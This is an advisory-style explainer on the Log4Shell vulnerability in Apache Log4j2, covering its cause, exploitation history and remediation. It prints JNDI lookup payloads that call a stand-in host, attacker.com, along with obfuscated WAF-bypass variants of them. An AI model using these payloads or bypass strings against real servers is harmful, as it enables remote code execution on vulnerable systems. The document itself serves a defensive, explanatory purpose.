CVE-2021-44228

Overview

CVE-2021-44228, nicknamed "Log4Shell," is a critical remote code execution vulnerability in Apache Log4j2, one of the most widely used Java logging libraries. When Log4j2 logs a string containing a crafted JNDI expression such as ${jndi:ldap://attacker.com/x}, it evaluates the expression and performs an outbound JNDI lookup — potentially loading and executing attacker-controlled Java code. Because Log4j2 is embedded in thousands of Java applications, middleware platforms, and cloud services, this single vulnerability exposed an enormous fraction of internet-connected infrastructure.

The vulnerability received a perfect CVSS score of 10.0 — unauthenticated, network-accessible, no user interaction, with full remote code execution. CISA Director Jen Easterly called it "the most serious vulnerability I have seen in my decades-long career." Exploitation began within hours of public disclosure and mass scanning was observed within 24 hours.

What Is Apache Log4j2?

Apache Log4j2 is the dominant Java logging framework, used by an estimated hundreds of millions of Java deployments worldwide. It is embedded as a dependency in Apache Struts, Apache Solr, Apache Druid, VMware products, Cisco products, Amazon Web Services, Microsoft Azure services, Apple iCloud infrastructure, Minecraft servers, and countless enterprise Java applications. Unlike application-level vulnerabilities that affect a single product, Log4Shell's reach extended to any Java software that used Log4j2 for logging — which, in practice, included most of the Java ecosystem.

Affected Versions

Log4j 1.x is end-of-life and separately vulnerable; it is not affected by Log4Shell specifically but should be replaced.

Technical Details

Root Cause: JNDI Lookup in Log Message Processing

Log4j2 supports message lookup substitutions — a feature that allows log messages to embed dynamic values using the ${prefix:name} syntax. For example, ${env:HOME} inserts the HOME environment variable into a log message. One supported lookup type is jndi: — the Java Naming and Directory Interface — which allows retrieval of objects from external directories including LDAP, RMI, DNS, and CORBA.

When Log4j2 logs any string containing ${jndi:ldap://attacker.com/x}, it:

1. Recognizes the JNDI lookup expression.
2. Performs an outbound LDAP request to attacker.com.
3. The LDAP server returns a reference to a Java class at a remote URL.
4. Log4j2 loads and instantiates that class — executing the attacker's code in the JVM process.

Because Log4j2 is used to log user-controlled input (HTTP headers, form fields, usernames, search queries), any such input can be weaponized as a delivery vector. The exploit string ${jndi:ldap://attacker.com/a} placed in a User-Agent, X-Forwarded-For, or other HTTP header reaches Log4j2 when the request is logged.

Why No Authentication or User Interaction Is Required

The attack requires only that:

1. The server uses Log4j2 (or a library that uses Log4j2) for logging.
2. Any user-controlled string reaches a log statement.
3. The server can make outbound LDAP/DNS connections.

These conditions describe the default configuration of most Java web applications. No account, session, or user interaction is needed.

Obfuscation and Bypass Techniques

Defenders who deployed WAF rules blocking the literal string ${jndi:ldap:// were quickly bypassed. Log4j2's lookup syntax supports nested lookups and character transformations:

${${lower:j}ndi:${lower:l}dap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:...}
${j${::-n}di:ldap://...}

These variants, observed within 24 hours of disclosure, rendered simple string-matching mitigations ineffective.

Attack Characteristics

Discovery

Chen Zhaojun of Alibaba Cloud Security Team discovered and reported the vulnerability to the Apache Foundation on November 24, 2021. An unnamed individual published a proof-of-concept exploit on GitHub on December 9, 2021 — before the patch was released — triggering immediate mass exploitation. The GitHub PoC was quickly deleted, but the exploit had already spread. Apache released Log4j 2.15.0 on December 10, 2021, the same day CVE-2021-44228 was published.

Exploitation Context

• Exploitation began within hours of public PoC release on December 9, 2021
• Mass scanning observed within 24 hours; Cloudflare, Greynoise, and others documented millions of exploitation attempts
• Affected organizations: Apple, Amazon AWS, Cisco, VMware, Twitter, Steam, Tesla, and thousands more confirmed vulnerable infrastructure
• Threat actor adoption: Nation-state APT groups (Iranian, Chinese, North Korean, Turkish), ransomware operators (Conti, Khonsari), cryptomining botnets, and access brokers all adopted the exploit within days
• Ransomware use: Confirmed (ransomwareUse: true) — multiple ransomware families deployed Log4Shell as initial access
• Egress filtering as partial mitigation: Many production deployments limited damage because outbound LDAP connections were blocked by firewall rules — the exploit requires an outbound callback from the victim server
• Estimated patch timeline: Over 93% of cloud environments were vulnerable at time of disclosure; full remediation across the ecosystem took months

Remediation

Recommended Actions

1. Upgrade Log4j2 to 2.17.1 (Java 8), 2.12.4 (Java 7), or 2.3.2 (Java 6) — these versions include all four CVE fixes from December 2021. Do not stop at 2.15.0 or 2.16.0; both have additional vulnerabilities.

2. Inventory all Log4j2 usage — identify every application, library, and container that bundles Log4j2 as a direct or transitive dependency. Tools like log4j-detector, log4j2-scan, and syft can find Log4j2 JARs inside nested archives.

3. Immediate mitigations while patching (for Log4j 2.10.0+):

   -Dlog4j2.formatMsgNoLookups=true
   

   Or set environment variable: LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Note: this was bypassed in 2.15.0 — not a substitute for upgrading.

4. Block outbound LDAP/RMI connections at the network perimeter. Many exploitation chains require the victim server to make an outbound callback; egress filtering to untrusted destinations limits the blast radius even on vulnerable hosts.

5. Apply WAF rules as a detection layer (not a primary mitigation — easily bypassed), but monitor for exploitation attempts.

6. Vendor software: Any third-party Java software that bundles Log4j2 must be updated via the vendor. Do not assume an OS-level patch covers embedded copies inside application JARs.